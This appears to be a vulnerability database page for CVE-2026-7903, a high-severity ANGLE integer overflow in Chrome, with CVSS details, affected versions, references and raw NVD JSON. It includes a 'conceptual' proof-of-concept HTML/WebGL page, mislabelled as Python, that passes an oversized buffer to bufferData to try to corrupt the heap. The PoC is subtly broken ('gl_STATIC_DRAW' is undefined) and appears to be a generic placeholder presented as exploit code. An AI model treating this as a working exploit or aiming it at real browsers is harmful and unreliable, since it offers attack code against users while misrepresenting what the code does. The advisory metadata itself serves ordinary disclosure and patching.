CVE-2026-7903

Description

Integer overflow in ANGLE in Google Chrome on Mac,Windows prior to 148.0.7778.96 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.96 (Windows)

Google Chrome < 148.0.7778.96 (Mac)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-7903 (Conceptual)
This PoC attempts to trigger the integer overflow in ANGLE via WebGL.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-7903 PoC</title>
</head>
<body>
    <canvas id="glCanvas"></canvas>
    <script>
        const canvas = document.getElementById('glCanvas');
        const gl = canvas.getContext('webgl');
        
        if (!gl) {
            console.log('WebGL not supported');
        } else {
            // Attempt to trigger overflow with specific buffer data
            // Note: Actual exploit requires precise calculation based on vulnerability specifics
            const buffer = gl.createBuffer();
            gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
            
            // Large size or specific pattern to trigger the overflow in ANGLE
            const size = 0x7FFFFFFF; 
            try {
                // This attempts to hit the integer overflow condition
                gl.bufferData(gl.ARRAY_BUFFER, size, gl_STATIC_DRAW);
            } catch (e) {
                console.log('Exception caught:', e);
            }
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7903
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7903
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7903/
[4] VulDB https://vuldb.com/cve/CVE-2026-7903
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/491760376

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7903", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:38.597", "lastModified": "2026-05-06T23:42:19.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in ANGLE in Google Chrome on Mac,Windows prior to 148.0.7778.96 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/491760376", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}